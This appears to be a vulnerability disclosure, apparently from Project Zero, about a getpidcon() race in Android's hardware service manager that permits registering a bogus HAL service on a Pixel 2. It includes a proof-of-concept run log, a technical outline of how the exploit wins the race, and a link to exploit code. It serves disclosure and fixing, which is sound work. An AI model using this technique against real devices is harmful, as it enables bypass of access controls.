Android - getpidcon() Usage in Hardware binder ServiceManager Permits ACL Bypass

2019-03-06 16:05:07

We already reported four bugs in Android that are caused by the use of
getpidcon(), which is fundamentally unsafe:

https://bugs.chromium.org/p/project-zero/issues/detail?id=727 (AndroidID-27111481; unexploitable)
https://bugs.chromium.org/p/project-zero/issues/detail?id=851 (AndroidID-29431260; getpidcon() used in the servicemanager)
https://bugs.chromium.org/p/project-zero/issues/detail?id=1404 (AndroidID-68217907; getpidcon() used in the hardware service manager)
https://bugs.chromium.org/p/project-zero/issues/detail?id=1406 (AndroidID-68217699; getpidcon() used in the keystore)


The bulletin entry for bug 1404 (in
https://source.android.com/security/bulletin/2018-01-01#system) points to the
following three commits:

https://android.googlesource.com/platform/system/libhidl/+/a4d0252ab5b6f6cc52a221538e1536c5b55c1fa7
"canCastInterface: always return true for IBase"
I'm not sure how this relates to the bug.

https://android.googlesource.com/platform/system/tools/hidl/+/8539fc8ac94d5c92ef9df33675844ab294f68d61
"Explicitly check processes are oneway"
Ensures that the caller PID isn't passed as zero. This addresses a second issue
that was mentioned in the bug report, but doesn't address the core issue.

https://android.googlesource.com/platform/system/hwservicemanager/+/e1b4a889e8b84f5c13b76333d4de90dbe102a0de
"get selinux context on add call arrival."
"interfaceChain may take too long and allow for the PID to become invalidated."
This seems to be the patch that is intended to fix the core bug - but all it
does is to reduce the size of the race window, it does not address the actual
issue.


Overall, it looks like this vulnerability was not actually fixed.
A patch that merely reduces the size of a race window without eliminating it is,
in my opinion, not a valid fix for security issues that impact confidentiality
or integrity.

(The situation in the classic servicemanager seems to be similar, except that it
has additional checks that very coarsely mitigate this class of issues based on
caller UIDs.)

In my opinion, a proper fix should include tracking of caller SELinux contexts,
perhaps with context information pulled from the kernel on demand when needed.
I think you could e.g. implement this by stashing a refcounted pointer to the
caller's credentials in the struct binder_buffer in binder_transaction(), like
this:

t->buffer->caller_cred = get_current_cred();

And then add a new ioctl to the binder device for looking up the SELinux context
associated with a transaction, somewhat similar to SO_PEERSEC: Take the alloc
mutex, look up the allocation for the provided userspace pointer, ensure that it
is user-freeable, take a reference to its creds, and drop the mutex.

If for some reason, this still has too much overhead, you could also gate it on
opt-in by the receiving binder, similar to FLAT_BINDER_FLAG_ACCEPTS_FDS.


To demonstrate that this issue can indeed still be triggered, I have written a
PoC for the Pixel 2 (walleye), running build
"google/walleye/walleye:9/PQ1A.181205.002/5086253:user/release-keys"
(patch level "2018-12-05") that can register a second instance of
"[email protected]::IServiceManager" with instance name
"bogusbogusbogus".

Running it:

=====================================================================
$ ./compile.sh && adb push master /data/local/tmp/ && adb shell /data/local/tmp/master
master: 1 file pushed. 12.6 MB/s (687184 bytes in 0.052s)
hexdump(0x7fc41de528, 0x50)
00000000 00 01 00 00 1a 00 00 00 61 00 6e 00 64 00 72 00 |........a.n.d.r.|
00000010 6f 00 69 00 64 00 2e 00 6f 00 73 00 2e 00 49 00 |o.i.d...o.s...I.|
00000020 53 00 65 00 72 00 76 00 69 00 63 00 65 00 4d 00 |S.e.r.v.i.c.e.M.|
00000030 61 00 6e 00 61 00 67 00 65 00 72 00 00 00 00 00 |a.n.a.g.e.r.....|
00000040 05 00 00 00 61 00 75 00 64 00 69 00 6f 00 00 00 |....a.u.d.i.o...|
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 1000 data 24 offs 8
hexdump(0x7ae2539000, 0x18)
00000000 85 2a 68 73 7f 01 00 00 01 00 00 00 00 00 00 00 |.*hs............|
00000010 00 00 00 00 00 00 00 00 |........|
- type 73682a85 flags 0000017f ptr 0000000000000001 cookie 0000000000000000
binder_done: freeing buffer
binder_done: free done
got audio_handle: 0x1
hexdump(0x7fc41df648, 0x40)
00000000 00 01 00 00 1b 00 00 00 61 00 6e 00 64 00 72 00 |........a.n.d.r.|
00000010 6f 00 69 00 64 00 2e 00 6d 00 65 00 64 00 69 00 |o.i.d...m.e.d.i.|
00000020 61 00 2e 00 49 00 41 00 75 00 64 00 69 00 6f 00 |a...I.A.u.d.i.o.|
00000030 53 00 65 00 72 00 76 00 69 00 63 00 65 00 00 00 |S.e.r.v.i.c.e...|
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 1000 data 0 offs 0
hexdump(0x7ae2539000, 0x0)
binder_done: freeing buffer
binder_done: free done
thread_spawner ready to transact
spam done
ready for delay...
14736 forking master...
14737 forking...
entering child: 14738
pre-cycling...
cycle target is 14737
first unused preceding pid is 13325 (3/No such process)
PIDs should be cycled now...
starting delay...
starting register transaction
hexdump(0x7ae2537f80, 0x94)
00000000 61 6e 64 72 6f 69 64 2e 68 69 64 6c 2e 6d 61 6e |android.hidl.man|
00000010 61 67 65 72 40 31 2e 30 3a 3a 49 53 65 72 76 69 |[email protected]::IServi|
00000020 63 65 4d 61 6e 61 67 65 72 00 00 00 85 2a 74 70 |ceManager....*tp|
00000030 00 00 00 00 48 7f 53 e2 7a 00 00 00 10 00 00 00 |....H.S.z.......|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000050 00 00 00 00 85 2a 74 70 01 00 00 00 60 4f 46 00 |.....*tp....`OF.|
00000060 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 00 00 00 00 00 00 00 00 00 00 00 00 85 2a 62 73 |.............*bs|
00000080 7f 01 00 00 01 00 00 00 00 00 00 00 00 00 00 00 |................|
00000090 00 00 00 00 |....|
BR_NOOP:
BR_INCREFS:
0x7ae2537e18, 0x7ae2537e20
BR_ACQUIRE:
0x7ae2537e2c, 0x7ae2537e34
BR_TRANSACTION_COMPLETE:
owner of to-be-reused PID 14737 is quitting now
BR_NOOP:
thread_spawner transacting now
hexdump(0x7fc41df648, 0x40)
00000000 00 01 00 00 1b 00 00 00 61 00 6e 00 64 00 72 00 |........a.n.d.r.|
00000010 6f 00 69 00 64 00 2e 00 6d 00 65 00 64 00 69 00 |o.i.d...m.e.d.i.|
00000020 61 00 2e 00 49 00 41 00 75 00 64 00 69 00 6f 00 |a...I.A.u.d.i.o.|
00000030 53 00 65 00 72 00 76 00 69 00 63 00 65 00 00 00 |S.e.r.v.i.c.e...|
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 1000 data 8 offs 0
hexdump(0x7ae2539000, 0x8)
00000000 00 00 00 00 00 00 00 00 |........|
binder_done: freeing buffer
binder_done: free done
pid 12645 quit: exit(0)
got delay: 017664533478
SSSMMMUUUNNN
BR_NOOP:
BR_TRANSACTION:
target 0000000000000001 cookie 0000000000000000 code 0f43484e flags 00000010
pid 588 uid 1000 data 32 offs 0
hexdump(0x7ae2539000, 0x20)
00000000 61 6e 64 72 6f 69 64 2e 68 69 64 6c 2e 62 61 73 |android.hidl.bas|
00000010 65 40 31 2e 30 3a 3a 49 42 61 73 65 00 00 00 00 |[email protected]::IBase....|
got binder call
binder_send_reply(status=0)
offsets=0x7ae2537c88, offsets_size=32
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_REPLY:
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
pid 0 uid 1000 data 8 offs 0
hexdump(0x7ae2539000, 0x8)
00000000 00 00 00 00 01 00 00 00 |........|
binder_done: freeing buffer
binder_done: free done
REGISTRATION OVER
pid 12644 quit: exit(0)
=====================================================================

Note: It will probably take a few minutes when you run it the first time because
it has to create a 16GB file on disk.

Once the PoC has printed "REGISTRATION OVER", the bogus hardware service should
have been registered. The PoC will keep running to keep the bogus service alive.

At this point, you can check whether it worked:

=====================================================================
walleye:/ $ getprop ro.build.fingerprint
google/walleye/walleye:9/PQ1A.181205.002/5086253:user/release-keys
walleye:/ $ lshal 2>/dev/null | grep ISensorManager
[email protected]::ISensorManager/bogusbogusbogus N/A N/A
[email protected]::ISensorManager/default N/A N/A
walleye:/ $
=====================================================================


Some detail on how the PoC works:

master.c coordinates execution.
register.c takes care of setting up two processes that share memory mappings,
wrapping the PID counter, registering a service and relinquishing the PID at the
right time.
thread_spawner.c uses the unloadSoundEffects() and loadSoundEffects() RPC calls
on android.media.IAudioService to create a thread in system_server, reusing the
PID relinquished by register.c.
reload_timer.c stalls slowpath lookups of entries in /proc for ~15 seconds by
abusing that Linux 4.4's sys_getdents64() exclusively locks the inode across the
entire readdir operation, including all usercopy accesses, combined with a
series of uncached 4k file mappings and a lack of priority inheritance in kernel
mutexes. Stalling slowpath lookups of /proc entries causes getpidcon() to block
on opening /proc/$pid/attr/current.

See also the attached timing diagram.


Oh, by the way, something else that I'm not actually using here, and that
doesn't really have any direct security impact, but that looks unintended:
/dev/binder sets the VM_DONTCOPY flag on the VMA, but because it doesn't also
set VM_IO, it is possible to use madvise(..., MADV_DOFORK) to clear that flag:

case MADV_DOFORK:
if (vma->vm_flags & VM_IO) {
error = -EINVAL;
goto out;
}
new_flags &= ~VM_DONTCOPY;
break;


Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46504.zip

Fixes

No fixes

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